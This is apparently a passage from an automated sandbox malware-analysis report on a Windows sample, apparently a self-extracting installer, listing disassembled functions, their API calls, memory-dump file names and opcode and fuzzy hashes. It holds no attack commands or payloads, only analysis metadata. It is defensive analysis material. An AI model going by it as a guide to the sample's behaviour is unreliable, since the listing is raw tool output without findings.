                                                                                                                                                                                                                                                                                    • SelectObject.GDI32(?,?), ref: 00407A0A
                                                                                                                                                                                                                                                                                    • ReleaseDC.USER32(?,?), ref: 00407A19
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: MetricsSystem$ObjectSelect$DrawReleaseText
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2466489532-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
                                                                                                                                                                                                                                                                                    • Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41
                                                                                                                                                                                                                                                                                    Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B8), ref: 00408979
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
                                                                                                                                                                                                                                                                                    • wsprintfW.USER32 ref: 004089A9
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 00408A41
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
                                                                                                                                                                                                                                                                                    • String ID: %d%%
                                                                                                                                                                                                                                                                                    • API String ID: 3753976982-1518462796
                                                                                                                                                                                                                                                                                    • Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
                                                                                                                                                                                                                                                                                    • Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59
                                                                                                                                                                                                                                                                                    Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • EndDialog.USER32(?,00000000), ref: 00408B52
                                                                                                                                                                                                                                                                                    • KillTimer.USER32(?,00000001), ref: 00408B63
                                                                                                                                                                                                                                                                                    • SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
                                                                                                                                                                                                                                                                                    • SuspendThread.KERNEL32(00000290), ref: 00408BA6
                                                                                                                                                                                                                                                                                    • ResumeThread.KERNEL32(00000290), ref: 00408BC3
                                                                                                                                                                                                                                                                                    • EndDialog.USER32(?,00000000), ref: 00408BE5
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: DialogThreadTimer$KillResumeSuspend
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 4151135813-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
                                                                                                                                                                                                                                                                                    • Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D
                                                                                                                                                                                                                                                                                    Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004041F8
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?), ref: 00404236
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000), ref: 0040425C
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?), ref: 00404264
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@
                                                                                                                                                                                                                                                                                    • String ID: %%T/$%%T\
                                                                                                                                                                                                                                                                                    • API String ID: 613200358-2679640699
                                                                                                                                                                                                                                                                                    • Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
                                                                                                                                                                                                                                                                                    • Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48
                                                                                                                                                                                                                                                                                    Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004042B3
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004042F1
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000), ref: 00404317
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?), ref: 0040431F
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@
                                                                                                                                                                                                                                                                                    • String ID: %%S/$%%S\
                                                                                                                                                                                                                                                                                    • API String ID: 613200358-358529586
                                                                                                                                                                                                                                                                                    • Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
                                                                                                                                                                                                                                                                                    • Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48
                                                                                                                                                                                                                                                                                    Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 0040436E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004043AC
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000), ref: 004043D2
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?), ref: 004043DA
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@
                                                                                                                                                                                                                                                                                    • String ID: %%M/$%%M\
                                                                                                                                                                                                                                                                                    • API String ID: 613200358-4143866494
                                                                                                                                                                                                                                                                                    • Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
                                                                                                                                                                                                                                                                                    • Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58
                                                                                                                                                                                                                                                                                    Function 00408504 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00408519
                                                                                                                                                                                                                                                                                    • SHBrowseForFolderW.SHELL32(?), ref: 00408532
                                                                                                                                                                                                                                                                                    • SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0040854E
                                                                                                                                                                                                                                                                                    • SHGetMalloc.SHELL32(00000000), ref: 00408578
                                                                                                                                                                                                                                                                                      • Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
                                                                                                                                                                                                                                                                                      • Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: BrowseFocusFolderFromItemListMallocPathmemset
                                                                                                                                                                                                                                                                                    • String ID: A$A
                                                                                                                                                                                                                                                                                    • API String ID: 1557639607-3025247501
                                                                                                                                                                                                                                                                                    • Opcode ID: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
                                                                                                                                                                                                                                                                                    • Instruction ID: 8e2b46382c4e0e79c38c40a6d9053323f47f27154f6d6a29afbbbbb9270b0dc0
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 41114FB1A00204ABCB10DB95DA48BDE77BCAB88701F1400AEE905E7281DB79DE04CB75
                                                                                                                                                                                                                                                                                    Function 00407DAC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(uxtheme,?,00409133,000004B1,00000000,?,?,?,?,?,00409240), ref: 00407DB4
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407DC5
                                                                                                                                                                                                                                                                                    • GetWindow.USER32(?,00000005), ref: 00407DDE
                                                                                                                                                                                                                                                                                    • GetWindow.USER32(00000000,00000002), ref: 00407DF4
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Window$AddressLibraryLoadProc
                                                                                                                                                                                                                                                                                    • String ID: SetWindowTheme$uxtheme
                                                                                                                                                                                                                                                                                    • API String ID: 324724604-1369271589
                                                                                                                                                                                                                                                                                    • Opcode ID: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
                                                                                                                                                                                                                                                                                    • Instruction ID: 9b0de1ac587a4165001920f6b170f50534138ecb837747bbddd8b6d978bb5341
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D3F0A732E4672533C232126A6C48FAB769CDF46B51B094136BD04F7390DFA8DC4041ED
                                                                                                                                                                                                                                                                                    Function 0040B7A0 Relevance: 9.1, APIs: 6, Instructions: 133COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT ref: 0040B866
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@??3@memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3828600508-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
                                                                                                                                                                                                                                                                                    • Instruction ID: 99a0ad40a844e9a3ffa9f049326f458531d7c56977f80c19912095adb51eb10a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 284159B56003048FCB14DF19D880A57B7E9FF88304F14856EEC4A9B346D779E919CBAA
                                                                                                                                                                                                                                                                                    Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,0041EA30,00000001,0041EA30,0041EA30,00000001,?,00000000), ref: 00405A1E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A80
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A98
                                                                                                                                                                                                                                                                                      • Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
                                                                                                                                                                                                                                                                                      • Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
                                                                                                                                                                                                                                                                                      • Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
                                                                                                                                                                                                                                                                                      • Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$FileTime$AttributesSystemlstrlen
                                                                                                                                                                                                                                                                                    • String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
                                                                                                                                                                                                                                                                                    • API String ID: 4038993085-372238525
                                                                                                                                                                                                                                                                                    • Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
                                                                                                                                                                                                                                                                                    • Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58
                                                                                                                                                                                                                                                                                    Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: wsprintf$ExitProcesslstrcat
                                                                                                                                                                                                                                                                                    • String ID: 0x%p
                                                                                                                                                                                                                                                                                    • API String ID: 2530384128-1745605757
                                                                                                                                                                                                                                                                                    • Opcode ID: 07acdaa2a4fb6a660e9b007d09802e737d764b990db71bbf7c3e87babd82aa2f
                                                                                                                                                                                                                                                                                    • Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 07acdaa2a4fb6a660e9b007d09802e737d764b990db71bbf7c3e87babd82aa2f
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A
                                                                                                                                                                                                                                                                                    Function 00402E67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 00402EA1
                                                                                                                                                                                                                                                                                      • Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD
                                                                                                                                                                                                                                                                                    • ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402EB9
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402ED9
                                                                                                                                                                                                                                                                                    Strings
